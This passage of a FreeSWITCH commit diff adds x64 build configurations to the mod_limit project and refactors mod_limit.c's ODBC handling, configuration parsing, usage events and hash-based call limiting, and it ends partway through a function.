+  date_end timestamp with time zone NOT NULL DEFAULT '2030-12-31',
+  quality numeric(10,6) NOT NULL DEFAULT 0,
+  reliability numeric(10,6) NOT NULL DEFAULT 0,
+  cid VARCHAR(32) NOT NULL DEFAULT '',
+  enabled boolean NOT NULL DEFAULT 'true',
+  CONSTRAINT lcr_pkey PRIMARY KEY (id)
+);
+
+-- Index: digits_rate
+
+-- DROP INDEX digits_rate;
+
+CREATE INDEX digits_rate
+  ON lcr
+  USING btree
+  (digits, rate);
+
+-- Index: profile_digits_15
+
+-- DROP INDEX profile_digits_15;
+
+CREATE INDEX profile_digits_15
+  ON lcr
+  (digits, lcr_profile);
+
+-- Index: unique_route
+
+-- DROP INDEX unique_route;
+
+CREATE INDEX unique_route
+  ON lcr
+  (digits, carrier_id);

Property changes: freeswitch/branches/seven/src/mod/applications/mod_limit


Name: svn:ignore
   - mod_limit.so
.libs
Debug
*.pdb
*.user
Release
debug
   + mod_limit.so
.libs
Debug
*.pdb
*.user
Release
debug
Win32
x64
Makefile

Deleted: freeswitch/branches/seven/src/mod/applications/mod_limit/Makefile

Modified: freeswitch/branches/seven/src/mod/applications/mod_limit/mod_limit.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_limit/mod_limit.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_limit/mod_limit.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -78,6 +81,70 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -138,6 +205,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/applications/mod_limit/mod_limit.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_limit/mod_limit.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_limit/mod_limit.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Ken Rice <krice at suspicious dot org
  * Mathieu Rene <mathieu.rene@gmail.com>
  * Bret McDanel <trixter AT 0xdecafbad.com>
@@ -33,12 +33,12 @@
  */
 
 #include <switch.h>
-#ifdef SWITCH_HAVE_ODBC
-#include <switch_odbc.h>
-#endif
 
+#define LIMIT_EVENT_USAGE "limit::usage"
+
 SWITCH_MODULE_LOAD_FUNCTION(mod_limit_load);
-SWITCH_MODULE_DEFINITION(mod_limit, mod_limit_load, NULL, NULL);
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_limit_shutdown);
+SWITCH_MODULE_DEFINITION(mod_limit, mod_limit_load, mod_limit_shutdown, NULL);
 
 static struct {
 	switch_memory_pool_t *pool;
@@ -50,31 +50,42 @@
 	switch_hash_t *limit_hash;	
 	switch_mutex_t *db_hash_mutex;
 	switch_hash_t *db_hash;	
-#ifdef SWITCH_HAVE_ODBC
 	switch_odbc_handle_t *master_odbc;
-#else
-	void *filler1;
-#endif
 } globals;
 
-struct limit_hash_item  {
+typedef struct  {
 	uint32_t total_usage;
 	uint32_t rate_usage;
 	time_t last_check;
-};
-typedef struct limit_hash_item limit_hash_item_t;
+} limit_hash_item_t;
 
+typedef struct {
+	switch_hash_t *hash;
+	} limit_hash_private_t;
+
  
 static char limit_sql[] =
 	"CREATE TABLE limit_data (\n"
-	"   hostname   VARCHAR(255),\n" "   realm      VARCHAR(255),\n" "   id         VARCHAR(255),\n" "   uuid       VARCHAR(255)\n" ");\n";
+	"   hostname   VARCHAR(255),\n"
+	"   realm      VARCHAR(255),\n"
+	"   id         VARCHAR(255),\n"
+	"   uuid       VARCHAR(255)\n"
+	");\n";
 
 static char db_sql[] =
 	"CREATE TABLE db_data (\n"
-	"   hostname   VARCHAR(255),\n" "   realm      VARCHAR(255),\n" "   data_key   VARCHAR(255),\n" "   data       VARCHAR(255)\n" ");\n";
+	"   hostname   VARCHAR(255),\n"
+	"   realm      VARCHAR(255),\n"
+	"   data_key   VARCHAR(255),\n"
+	"   data       VARCHAR(255)\n"
+	");\n";
 
 static char group_sql[] =
-	"CREATE TABLE group_data (\n" "   hostname   VARCHAR(255),\n" "   groupname  VARCHAR(255),\n" "   url        VARCHAR(255)\n" ");\n";
+	"CREATE TABLE group_data (\n"
+	"   hostname   VARCHAR(255),\n"
+	"   groupname  VARCHAR(255),\n"
+	"   url        VARCHAR(255)\n"
+	");\n";
 
 static switch_status_t limit_execute_sql(char *sql, switch_mutex_t *mutex)
 {
@@ -84,9 +95,9 @@
 	if (mutex) {
 		switch_mutex_lock(mutex);
 	}
-#ifdef SWITCH_HAVE_ODBC
-	if (globals.odbc_dsn) {
-		SQLHSTMT stmt;
+
+	if (switch_odbc_available() && globals.odbc_dsn) {
+		switch_odbc_statement_handle_t stmt;
 		if (switch_odbc_handle_exec(globals.master_odbc, sql, &stmt) != SWITCH_ODBC_SUCCESS) {
 			char *err_str;
 			err_str = switch_odbc_handle_get_error(globals.master_odbc, stmt);
@@ -96,21 +107,16 @@
 			switch_safe_free(err_str);
 			status = SWITCH_STATUS_FALSE;
 		}
-		SQLFreeHandle(SQL_HANDLE_STMT, stmt);
+		switch_odbc_statement_handle_free(&stmt);
 	} else {
-#endif
 		if (!(db = switch_core_db_open_file(globals.dbname))) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB %s\n", globals.dbname);
 			status = SWITCH_STATUS_FALSE;
 			goto end;
 		}
-
 		status = switch_core_db_persistant_execute(db, sql, 1);
 		switch_core_db_close(db);
-
-#ifdef SWITCH_HAVE_ODBC
 	}
-#endif
 
   end:
 	if (mutex) {
@@ -130,11 +136,9 @@
 		switch_mutex_lock(mutex);
 	}
 
-#ifdef SWITCH_HAVE_ODBC
-	if (globals.odbc_dsn) {
+	if (switch_odbc_available() && globals.odbc_dsn) {
 		switch_odbc_handle_callback_exec(globals.master_odbc, sql, callback, pdata);
 	} else {
-#endif
 		if (!(db = switch_core_db_open_file(globals.dbname))) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB %s\n", globals.dbname);
 			goto end;
@@ -150,9 +154,7 @@
 		if (db) {
 			switch_core_db_close(db);
 		}
-#ifdef SWITCH_HAVE_ODBC
 	}
-#endif
 
   end:
 	if (mutex) {
@@ -162,51 +164,60 @@
 	return ret;
 }
 
+static switch_xml_config_string_options_t limit_config_dsn = { NULL, 0, "[^:]+:[^:]+:.+" };
+
+static switch_xml_config_item_t config_settings[] = {
+	SWITCH_CONFIG_ITEM("odbc-dsn", SWITCH_CONFIG_STRING, 0, &globals.odbc_dsn, NULL, &limit_config_dsn,  
+		"dsn:username:password", "If set, the ODBC DSN used by the limit and db applications"),
+	SWITCH_CONFIG_ITEM_END()
+};
+
 static switch_status_t do_config()
 {
-	char *cf = "limit.conf";
-	switch_xml_t cfg, xml, settings, param;
 	switch_core_db_t *db;
 	switch_status_t status = SWITCH_STATUS_SUCCESS;
 	char *odbc_user = NULL;
 	char *odbc_pass = NULL;
 	char *sql = NULL;
+	
+	limit_config_dsn.pool = globals.pool;
 
-	if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "open of %s failed\n", cf);
+	if (switch_xml_config_parse_module_settings("limit.conf", SWITCH_FALSE, config_settings) != SWITCH_STATUS_SUCCESS) {
 		return SWITCH_STATUS_TERM;
 	}
-
-	if ((settings = switch_xml_child(cfg, "settings"))) {
-		for (param = switch_xml_child(settings, "param"); param; param = param->next) {
-			char *var = NULL;
-			char *val = NULL;
-
-			var = (char *) switch_xml_attr_soft(param, "name");
-			val = (char *) switch_xml_attr_soft(param, "value");
-
-			if (!strcasecmp(var, "odbc-dsn") && !switch_strlen_zero(val)) {
-#ifdef SWITCH_HAVE_ODBC
-				globals.odbc_dsn = switch_core_strdup(globals.pool, val);
-				if ((odbc_user = strchr(globals.odbc_dsn, ':'))) {
-					*odbc_user++ = '\0';
-					if ((odbc_pass = strchr(odbc_user, ':'))) {
-						*odbc_pass++ = '\0';
-					}
-				}
-#else
-				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "ODBC IS NOT AVAILABLE!\n");
-#endif
+	
+	if (switch_odbc_available() && globals.odbc_dsn) {
+		if ((odbc_user = strchr(globals.odbc_dsn, ':'))) {
+			*odbc_user++ = '\0';
+			if ((odbc_pass = strchr(odbc_user, ':'))) {
+				*odbc_pass++ = '\0';
 			}
 		}
+	} else if (globals.odbc_dsn) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "ODBC IS NOT AVAILABLE!\n");
 	}
+	
 
 	if (switch_strlen_zero(globals.odbc_dsn) || switch_strlen_zero(odbc_user) || switch_strlen_zero(odbc_pass)) {
 		globals.dbname = "call_limit";
 	}
 
-#ifdef SWITCH_HAVE_ODBC
-	if (globals.odbc_dsn) {
+	if (switch_odbc_available() && globals.odbc_dsn) {
+		int x;
+		char *indexes[] = {
+			"create index ld_hostname on limit_data (hostname)",
+			"create index ld_uuid on limit_data (uuid)",
+			"create index ld_realm on limit_data (realm)",
+			"create index ld_id on limit_data (id)",
+			"create index dd_realm on db_data (realm)",
+			"create index dd_data_key on db_data (data_key)",
+			"create index gd_groupname on group_data (groupname)",
+			"create index gd_url on group_data (url)",
+			NULL
+		};
+		
+
+
 		if (!(globals.master_odbc = switch_odbc_handle_new(globals.odbc_dsn, odbc_user, odbc_pass))) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Open ODBC Database!\n");
 			status = SWITCH_STATUS_FALSE;
@@ -234,8 +245,11 @@
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Create SQL Database!\n");
 			}
 		}
+
+		for (x = 0; indexes[x]; x++) {
+			switch_odbc_handle_exec(globals.master_odbc, indexes[x], NULL);
+		}
 	} else {
-#endif
 		if ((db = switch_core_db_open_file(globals.dbname))) {
 			switch_core_db_test_reactive(db, "select * from limit_data", NULL, limit_sql);
 			switch_core_db_test_reactive(db, "select * from db_data", NULL, db_sql);
@@ -258,9 +272,7 @@
 			goto done;
 		}
 		switch_core_db_close(db);
-#ifdef SWITCH_HAVE_ODBC
 	}
-#endif
 
   done:
 
@@ -268,25 +280,38 @@
 	limit_execute_sql(sql, globals.mutex);
 	switch_safe_free(sql);
 
-	switch_xml_free(xml);
-
 	return status;
 }
 
+static void limit_fire_event(const char *realm, const char *key, uint32_t usage, uint32_t rate, uint32_t max, uint32_t ratemax)
+{
+	switch_event_t *event;
+	
+	if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, LIMIT_EVENT_USAGE) == SWITCH_STATUS_SUCCESS) {
+		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "realm", realm);
+		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "key", key);
+		switch_event_add_header(event, SWITCH_STACK_BOTTOM, "usage", "%d", usage);
+		switch_event_add_header(event, SWITCH_STACK_BOTTOM, "rate", "%d", rate);
+		switch_event_add_header(event, SWITCH_STACK_BOTTOM, "max", "%d", max);
+		switch_event_add_header(event, SWITCH_STACK_BOTTOM, "ratemax", "%d", ratemax);
+		switch_event_fire(&event);
+	}
+}
+
 static switch_status_t db_state_handler(switch_core_session_t *session)
 {
 	switch_channel_t *channel = switch_core_session_get_channel(session);
 	switch_channel_state_t state = switch_channel_get_state(channel);
 	char *sql = NULL;
 
-	if (state == CS_HANGUP || state == CS_ROUTING) {
+	if (state >= CS_HANGUP || state == CS_ROUTING) {
 		sql = switch_mprintf("delete from limit_data where uuid='%q';",
 							 switch_core_session_get_uuid(session));
 		limit_execute_sql(sql, globals.mutex);
 		switch_safe_free(sql);
 		switch_core_event_hook_remove_state_change(session, db_state_handler);
 		/* Remove limit_realm variable so we register another hook if limit is called again */
-		switch_channel_set_variable(channel, "limit_realm", "");
+		switch_channel_set_variable(channel, "limit_realm", NULL);
 	}
 	return SWITCH_STATUS_SUCCESS;
 }
@@ -295,15 +320,15 @@
 {
 	switch_channel_t *channel = switch_core_session_get_channel(session);
 	switch_channel_state_t state = switch_channel_get_state(channel);
-	switch_hash_t *channel_hash = switch_channel_get_private(channel, "limit_hash");
+	limit_hash_private_t *pvt = switch_channel_get_private(channel, "limit_hash");
 	
 	/* The call is either hung up, or is going back into the dialplan, decrement appropriate couters */
-	if (state == CS_HANGUP || state == CS_ROUTING) {	
+	if (state >= CS_HANGUP || state == CS_ROUTING) {	
 		switch_hash_index_t *hi;
 		switch_mutex_lock(globals.limit_hash_mutex);
 
 		/* Loop through the channel's hashtable which contains mapping to all the limit_hash_item_t referenced by that channel */
-		for(hi = switch_hash_first(NULL, channel_hash); hi; hi = switch_hash_next(hi))
+		while((hi = switch_hash_first(NULL, pvt->hash)))
 		{
 			void *val = NULL;
 			const void *key;
@@ -313,12 +338,21 @@
 			switch_hash_this(hi, &key, &keylen, &val);
 			
 			item = (limit_hash_item_t*)val;
+			item->total_usage--;	
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Usage for %s is now %d\n", (const char*)key, item->total_usage);
 			
-			/* We keep the structure even though the count is 0 so we do not allocate too often */
-			item->total_usage--;	
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Usage for %s is now %d\n", (const char*)key, item->total_usage);	
+			if (item->total_usage == 0)  {
+				/* Noone is using this item anymore */
+				switch_core_hash_delete(globals.limit_hash, (const char*)key);
+				free(item);
+			}
+			
+			switch_core_hash_delete(pvt->hash, (const char*)key);
 		}
+		
+		/* Remove handler */
 		switch_core_event_hook_remove_state_change(session, hash_state_handler);
+		
 		switch_mutex_unlock(globals.limit_hash_mutex);
 	}
 	
@@ -374,13 +408,13 @@
 			goto error;
 		}
 		sql = switch_mprintf("delete from db_data where realm='%q' and data_key='%q'", argv[1], argv[2]);
-		assert(sql);
+		switch_assert(sql);
 		limit_execute_sql(sql, NULL);
 		switch_safe_free(sql);
 		sql =
 			switch_mprintf("insert into db_data (hostname, realm, data_key, data) values('%q','%q','%q','%q');", globals.hostname, argv[1], argv[2],
 						   argv[3]);
-		assert(sql);
+		switch_assert(sql);
 		limit_execute_sql(sql, NULL);
 		switch_safe_free(sql);
 		stream->write_function(stream, "+OK");
@@ -390,7 +424,7 @@
 			goto error;
 		}
 		sql = switch_mprintf("delete from db_data where realm='%q' and data_key='%q'", argv[1], argv[2]);
-		assert(sql);
+		switch_assert(sql);
 		limit_execute_sql(sql, NULL);
 		switch_safe_free(sql);
 		stream->write_function(stream, "+OK");
@@ -405,6 +439,7 @@
 		cbt.len = sizeof(buf);
 		sql = switch_mprintf("select data from db_data where realm='%q' and data_key='%q'", argv[1], argv[2]);
 		limit_execute_sql_callback(NULL, sql, sql2str_callback, &cbt);
+		switch_safe_free(sql);
 		stream->write_function(stream, "%s", buf);
 		goto done;
 	}
@@ -459,9 +494,10 @@
 		return;
 	}
 
-	switch_assert(sql);
-	limit_execute_sql(sql, globals.mutex);
-	switch_safe_free(sql);
+	if (sql) {
+		limit_execute_sql(sql, globals.mutex);
+		switch_safe_free(sql);
+	}
 }
 
 #define HASH_USAGE "[insert|delete]/<realm>/<key>/<val>"
@@ -475,6 +511,8 @@
 	char *hash_key = NULL;
 	char *value = NULL;
 	
+	switch_mutex_lock(globals.db_hash_mutex);
+	
 	if (!switch_strlen_zero(data)) {
 		mydata = strdup(data);
 		switch_assert(mydata);
@@ -482,14 +520,15 @@
 	}
 	
 	if (argc < 3 || !argv[0]) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "USAGE: hash %s\n", HASH_USAGE);
-		goto end;
+		goto usage;
 	}
 	
 	hash_key = switch_mprintf("%s_%s", argv[1], argv[2]);
 	
-	switch_mutex_lock(globals.db_hash_mutex);
 	if (!strcasecmp(argv[0], "insert")) {
+		if (argc < 4) {
+			goto usage;
+		}
 		if ((value = switch_core_hash_find(globals.db_hash, hash_key))) {
 			free(value);
 			switch_core_hash_delete(globals.db_hash, hash_key);
@@ -502,10 +541,17 @@
 			switch_safe_free(value);
 			switch_core_hash_delete(globals.db_hash, hash_key);
 		}
+	} else {
+		goto usage;
 	}
+	
+	goto done;
+
+usage:
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "USAGE: hash %s\n", HASH_USAGE);
+
+done:
 	switch_mutex_unlock(globals.db_hash_mutex);
-	
-end:
 	switch_safe_free(mydata);
 	switch_safe_free(hash_key);
 }
@@ -528,16 +574,14 @@
 	}
 	
 	if (argc < 3 || !argv[0]) {
-		stream->write_function(stream, "-ERR Usage: hash %s\n", HASH_API_USAGE);
-		goto end;
+		goto usage;
 	}
 	
 	hash_key = switch_mprintf("%s_%s", argv[1], argv[2]);
 	
 	if (!strcasecmp(argv[0], "insert")) {
 		if (argc < 4) {
-			stream->write_function(stream, "-ERR Usage: hash %s\n", HASH_API_USAGE);
-			goto end;
+			goto usage;
 		}
 		if ((value = switch_core_hash_find(globals.db_hash, hash_key))) {
 			switch_safe_free(value);
@@ -551,15 +595,24 @@
 		if ((value = switch_core_hash_find(globals.db_hash, hash_key))) {
 			switch_safe_free(value);
 			switch_core_hash_delete(globals.db_hash, hash_key);
+			stream->write_function(stream, "+OK\n");
+		} else {
+			stream->write_function(stream, "-ERR Not found\n");
 		}
-		stream->write_function(stream, "+OK\n");
 	} else if (!strcasecmp(argv[0], "select")) {
 		if ((value = switch_core_hash_find(globals.db_hash, hash_key))) {
 			stream->write_function(stream, "%s", value);
 		}
+	} else {
+		goto usage;
 	}
 	
-end:
+	goto done;
+	
+usage:
+	stream->write_function(stream, "-ERR Usage: hash %s\n", HASH_API_USAGE);
+	
+done:
 	switch_mutex_unlock(globals.db_hash_mutex);
 	switch_safe_free(mydata);
 	switch_safe_free(hash_key);
@@ -590,12 +643,12 @@
 			goto error;
 		}
 		sql = switch_mprintf("delete from group_data where groupname='%q' and url='%q';", argv[1], argv[2]);
-		assert(sql);
+		switch_assert(sql);
 
 		limit_execute_sql(sql, NULL);
 		switch_safe_free(sql);
 		sql = switch_mprintf("insert into group_data (hostname, groupname, url) values('%q','%q','%q');", globals.hostname, argv[1], argv[2]);
-		assert(sql);
+		switch_assert(sql);
 		limit_execute_sql(sql, NULL);
 		switch_safe_free(sql);
 		stream->write_function(stream, "+OK");
@@ -609,7 +662,7 @@
 		} else {
 			sql = switch_mprintf("delete from group_data where groupname='%q' and url='%q';", argv[1], argv[2]);
 		}
-		assert(sql);
+		switch_assert(sql);
 		limit_execute_sql(sql, NULL);
 		switch_safe_free(sql);
 		stream->write_function(stream, "+OK");
@@ -628,11 +681,14 @@
 		}
 
 		sql = switch_mprintf("select url,'%q' from group_data where groupname='%q'", how, argv[1]);
-		assert(sql);
+		switch_assert(sql);
 
 		limit_execute_sql_callback(NULL, sql, group_callback, &cbt);
+		switch_safe_free(sql);
+		
 		*(buf + (strlen(buf) - 1)) = '\0';
 		stream->write_function(stream, "%s", buf);
+
 		goto done;
 	}
 
@@ -668,18 +724,18 @@
 
 	if (!strcasecmp(argv[0], "insert")) {
 		sql = switch_mprintf("insert into group_data (hostname, groupname, url) values('%q','%q','%q');", globals.hostname, argv[1], argv[2]);
-		assert(sql);
+		switch_assert(sql);
 		limit_execute_sql(sql, globals.mutex);
 		switch_safe_free(sql);
 	} else if (!strcasecmp(argv[0], "delete")) {
 		sql = switch_mprintf("delete from group_data where groupname='%q' and url='%q';", argv[1], argv[2]);
-		assert(sql);
+		switch_assert(sql);
 		limit_execute_sql(sql, globals.mutex);
 		switch_safe_free(sql);
 	}
 }
 
-#define LIMIT_USAGE "<realm> <id> <max> [number  [dialplan [context]]]"
+#define LIMIT_USAGE "<realm> <id> [<max> [number  [dialplan [context]]]]"
 #define LIMIT_DESC "limit access to a resource and transfer to an extension if the limit is exceeded"
 static char *limit_def_xfer_exten = "limit_exceeded";
 
@@ -696,7 +752,6 @@
 	char buf[80] = "";
 	callback_t cbt = { 0 };
 	switch_channel_t *channel = switch_core_session_get_channel(session);
-	switch_bool_t new_channel = SWITCH_FALSE;
 
 	if (!switch_strlen_zero(data)) {
 		mydata = switch_core_session_strdup(session, data);
@@ -712,7 +767,16 @@
 
 	realm = argv[0];
 	id = argv[1];
-	max = atoi(argv[2]);
+	
+	if (argc > 2) {
+		max = atoi(argv[2]);
+		if (max < 0) {
+			max = 0; 
+		}
+	}
+	else {
+		max = -1;
+	}
 
 	if (argc >= 4) {
 		xfer_exten = argv[3];
@@ -720,11 +784,7 @@
 		xfer_exten = limit_def_xfer_exten;
 	}
 
-	if (max < 0) {
-		max = 0;
-	}
 	
-	new_channel = !switch_channel_get_variable(channel, "limit_realm");
 	switch_channel_set_variable(channel, "limit_realm", realm);
 	switch_channel_set_variable(channel, "limit_id", id);
 	switch_channel_set_variable(channel, "limit_max", argv[2]);
@@ -733,21 +793,25 @@
 	cbt.len = sizeof(buf);
 	sql = switch_mprintf("select count(hostname) from limit_data where realm='%q' and id like '%q'", realm, id);
 	limit_execute_sql_callback(NULL, sql, sql2str_callback, &cbt);
+	switch_safe_free(sql);
 	got = atoi(buf);
 
-	if (got + 1 > max) {
+	if (max >= 0 && got + 1 > max) {
 		switch_ivr_session_transfer(session, xfer_exten, argv[4], argv[5]);
 		goto done;
 	}
 
-	if (new_channel) {
-		switch_core_event_hook_add_state_change(session, db_state_handler);
-	}
+	switch_core_event_hook_add_state_change(session, db_state_handler);
+	switch_core_event_hook_add_state_change(session, db_state_handler);
+
 	sql =
 		switch_mprintf("insert into limit_data (hostname, realm, id, uuid) values('%q','%q','%q','%q');", globals.hostname, realm, id,
 					   switch_core_session_get_uuid(session));
 	limit_execute_sql(sql, NULL);
 	switch_safe_free(sql);
+	
+	switch_channel_set_variable_printf(channel, "limit_usage", "%d", ++got);
+	limit_fire_event(realm, id, got, 0, max, 0);
 
   done:
 	switch_mutex_unlock(globals.mutex);
@@ -795,6 +859,139 @@
 	return SWITCH_STATUS_SUCCESS;
 }
 
+/* \brief Enforces limit_hash restrictions
+ * \param session current session
+ * \param realm limit realm
+ * \param id limit id
+ * \param max maximum count
+ * \param interval interval for rate limiting
+ * \return SWITCH_TRUE if the access is allowed, SWITCH_FALSE if it isnt
+ */
+static switch_bool_t do_limit_hash(switch_core_session_t *session, const char *realm, const char *id, int max, int interval)
+{
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+	char *hashkey = NULL;
+	switch_bool_t status = SWITCH_TRUE;
+	limit_hash_item_t *item = NULL;
+	time_t now = switch_epoch_time_now(NULL);
+	limit_hash_private_t *pvt = NULL;
+	uint8_t increment = 1;
+	
+	hashkey = switch_core_session_sprintf(session, "%s_%s", realm, id);
+
+	switch_mutex_lock(globals.limit_hash_mutex);
+	/* Check if that realm+id has ever been checked */
+	if (!(item = (limit_hash_item_t*)switch_core_hash_find(globals.limit_hash, hashkey))) {
+		/* No, create an empty structure and add it, then continue like as if it existed */
+		item = (limit_hash_item_t*)malloc(sizeof(limit_hash_item_t));
+		switch_assert(item);
+		memset(item, 0, sizeof(limit_hash_item_t));
+		switch_core_hash_insert(globals.limit_hash, hashkey, item);
+	}
+
+	/* Did we already run on this channel before? */
+	if ((pvt = switch_channel_get_private(channel, "limit_hash")))
+	{
+		/* Yes, but check if we did that realm+id
+		   If we didnt, allow incrementing the counter.
+		   If we did, dont touch it but do the validation anyways
+		 */
+		increment = !switch_core_hash_find(pvt->hash, hashkey);
+	} else {
+		/* This is the first limit check on this channel, create a hashtable, set our prviate data and add a state handler */
+		pvt = (limit_hash_private_t*)switch_core_session_alloc(session, sizeof(limit_hash_private_t));
+		memset(pvt, 0, sizeof(limit_hash_private_t));
+		switch_core_hash_init(&pvt->hash, switch_core_session_get_pool(session));
+		switch_channel_set_private(channel, "limit_hash", pvt);
+	}
+
+	if (interval > 0) {
+		if (item->last_check <= (now - interval)) {
+			item->rate_usage = 1;
+			item->last_check = now;
+		} else {
+			/* Always increment rate when its checked as it doesnt depend on the channel */
+			item->rate_usage++;
+
+			if ((max >= 0) && (item->rate_usage > (uint32_t)max)) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Usage for %s exceeds maximum rate of %d/%ds, now at %d\n", hashkey, max, interval, item->rate_usage);
+				status = SWITCH_FALSE;
+				goto end;
+			}
+		}
+	} else if ((max >= 0) && (item->total_usage + increment > (uint32_t)max)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Usage for %s is already at max value (%d)\n", hashkey, item->total_usage);
+		status = SWITCH_FALSE;
+		goto end;
+	}
+
+	if (increment) {
+		item->total_usage++;
+
+		switch_core_hash_insert(pvt->hash, hashkey, item);
+
+		if (max == -1) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Usage for %s is now %d\n", hashkey, item->total_usage);
+		} else if (interval == 0) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Usage for %s is now %d/%d\n", hashkey, item->total_usage, max);	
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Usage for %s is now %d/%d for the last %d seconds\n", hashkey, item->rate_usage, max, interval);
+		}
+
+		limit_fire_event(realm, id, item->total_usage, item->rate_usage, max, max >=0 ? (uint32_t)max : 0);
+	}
+
+	/* Save current usage & rate into channel variables so it can be used later in the dialplan, or added to CDR records */
+	{
+		const char *susage = switch_core_session_sprintf(session, "%d", item->total_usage);
+		const char *srate = switch_core_session_sprintf(session, "%d", item->rate_usage);
+
+		switch_channel_set_variable(channel, "limit_usage", susage);
